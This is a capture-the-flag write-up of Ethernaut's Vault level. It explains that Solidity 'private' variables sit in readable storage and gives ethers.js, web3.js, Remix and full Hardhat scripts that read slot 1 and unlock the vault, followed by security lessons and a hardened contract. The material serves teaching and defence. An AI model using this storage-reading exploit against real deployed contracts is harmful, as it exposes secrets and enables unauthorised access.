Vault Challenge - Ethernaut Level 8
Challenge Description
Challenge Goal
Unlock the vault by finding the private password. The challenge demonstrates that private variables in smart contracts are not truly private and can be read from the blockchain's storage.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}Understanding the Contract
Let's break down how this contract works:
- State Variables: The contract has two state variables:
locked(public bool): Indicates whether the vault is lockedpassword(private bytes32): Stores the password to unlock the vault
- Constructor: Sets the initial password and locks the vault
- unlock Function: Compares the provided password with the stored password and unlocks the vault if they match
The vulnerability lies in the misconception that private variables are truly private on the blockchain.
The Vulnerability
This contract has a fundamental misunderstanding about privacy in smart contracts. The issue is:
- Storage Visibility: In Ethereum, all contract storage is publicly readable, regardless of the visibility modifier (public, private, internal, external)
- Private Misconception: The
privatekeyword in Solidity only affects compilation and access control within the contract, not storage visibility - Storage Layout: All state variables are stored in the contract's storage slots, which can be read by anyone
Understanding Ethereum Storage
Ethereum uses a key-value storage model where:
- Each contract has a storage space divided into 2^256 slots
- State variables are stored sequentially starting from slot 0
- Each slot can store 32 bytes (256 bits) of data
- All storage data is publicly accessible on the blockchain
Storage Layout for the Vault Contract
Storage Layout:
Slot 0: locked (bool) - 1 byte, padded to 32 bytes
Slot 1: password (bytes32) - 32 bytes
Note: Even though 'password' is marked as private,
it's still stored in slot 1 and is publicly readable.The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Read the private password from the contract's storage
- Call the
unlockfunction with the correct password - Verify that the vault is now unlocked
Reading Storage Data
We can read the storage data using several methods:
Method 1: Using ethers.js
// Using ethers.js to read storage
const vaultAddress = "INSTANCE_ADDRESS";
// Read the password from storage slot 1
const password = await ethers.provider.getStorageAt(vaultAddress, 1);
console.log("Password:", password);
// Call unlock with the password
const vault = await ethers.getContractAt("Vault", vaultAddress);
const tx = await vault.unlock(password);
await tx.wait();
// Check if the vault is unlocked
const locked = await vault.locked();
console.log("Vault locked:", locked);Method 2: Using web3.js
// Using web3.js to read storage
const vaultAddress = "INSTANCE_ADDRESS";
// Read the password from storage slot 1
const password = await web3.eth.getStorageAt(vaultAddress, 1);
console.log("Password:", password);
// Call unlock with the password
const vault = new web3.eth.Contract(VaultABI, vaultAddress);
await vault.methods.unlock(password).send({ from: playerAddress });
// Check if the vault is unlocked
const locked = await vault.methods.locked().call();
console.log("Vault locked:", locked);Method 3: Using Remix IDE
You can also exploit this manually using Remix IDE:
- Deploy the Vault contract with a password
- In the Remix console, use
web3.eth.getStorageAt(contractAddress, 1)to read the password - Call the
unlockfunction with the retrieved password - Check the
lockedvariable to confirm it's now false
Complete Exploit Script
// Complete exploit script
const { ethers } = require("hardhat");
async function main() {
// Get the vault instance address
const vaultAddress = "INSTANCE_ADDRESS";
console.log("Vault address:", vaultAddress);
// Read the current locked status
const vault = await ethers.getContractAt("Vault", vaultAddress);
const initiallyLocked = await vault.locked();
console.log("Initially locked:", initiallyLocked);
// Read the private password from storage slot 1
const password = await ethers.provider.getStorageAt(vaultAddress, 1);
console.log("Retrieved password:", password);
// Unlock the vault
console.log("Unlocking vault...");
const tx = await vault.unlock(password);
await tx.wait();
console.log("Unlock transaction completed!");
// Verify the vault is unlocked
const finallyLocked = await vault.locked();
console.log("Finally locked:", finallyLocked);
if (!finallyLocked) {
console.log("✅ Vault successfully unlocked!");
} else {
console.log("❌ Vault is still locked");
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Security Lessons
- Storage Visibility: All data stored in smart contracts is publicly readable on the blockchain. The
privatekeyword only affects compilation, not storage visibility. - No True Privacy: Never store sensitive information like passwords, private keys, or personal data directly in smart contracts, even if marked as private.
- Encryption: If you need to store sensitive data, consider encrypting it off-chain and only storing the encrypted version on-chain.
- Access Control: Use proper access control mechanisms like modifiers and role-based permissions instead of relying on "hidden" data.
- Design Patterns: Consider using commit-reveal schemes or other cryptographic techniques for applications that require privacy.
Prevention
Here's how you could improve this contract to make it more secure:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract SecureVault is Ownable {
bool public locked;
mapping(address => bool) public authorizedUsers;
event VaultUnlocked(address indexed user);
event UserAuthorized(address indexed user);
constructor() {
locked = true;
authorizedUsers[msg.sender] = true; // Owner is authorized
}
modifier onlyAuthorized() {
require(authorizedUsers[msg.sender], "Not authorized");
_;
}
function unlock() external onlyAuthorized {
require(locked, "Vault already unlocked");
locked = false;
emit VaultUnlocked(msg.sender);
}
function authorizeUser(address user) external onlyOwner {
authorizedUsers[user] = true;
emit UserAuthorized(user);
}
function revokeUser(address user) external onlyOwner {
authorizedUsers[user] = false;
}
function lock() external onlyOwner {
locked = true;
}
}The improved contract:
- Uses access control instead of passwords
- Implements proper authorization mechanisms
- Includes events for transparency
- Allows the owner to manage authorized users
- Doesn't rely on "hidden" data for security
Alternative Solutions
For applications that require password-like functionality, consider:
- Hash-Based Verification: Store hashes of passwords instead of plain text
- Multi-Signature Wallets: Require multiple parties to approve actions
- Time-Locks: Use time-based restrictions for sensitive operations
- External Authentication: Use off-chain authentication with on-chain verification
- Zero-Knowledge Proofs: Use ZK proofs to verify knowledge without revealing the secret
Understanding Storage in Depth
To better understand how storage works, let's look at a more complex example:
// Example showing storage layout
contract StorageExample {
uint256 public a; // Slot 0
uint128 public b; // Slot 1 (first 16 bytes)
uint128 public c; // Slot 1 (last 16 bytes) - packed with b
bytes32 public d; // Slot 2
mapping(address => uint256) public e; // Slot 3 (but actual data is at keccak256(key + slot))
uint256[] public f; // Slot 4 (but actual data is at keccak256(slot) + index)
// All of these can be read from storage, regardless of visibility!
}Conclusion
The Vault challenge is an excellent introduction to understanding storage visibility in Ethereum smart contracts. It demonstrates a fundamental principle: all data on the blockchain is public.
The key takeaway is that the private keyword in Solidity is a misnomer. It only affects compilation and access control within the contract, not the actual visibility of data on the blockchain. This is a common misconception that can lead to serious security vulnerabilities.
When designing smart contracts, always assume that all data will be publicly visible and design your security mechanisms accordingly. Use proper access controls, cryptographic techniques, and off-chain solutions when privacy is required.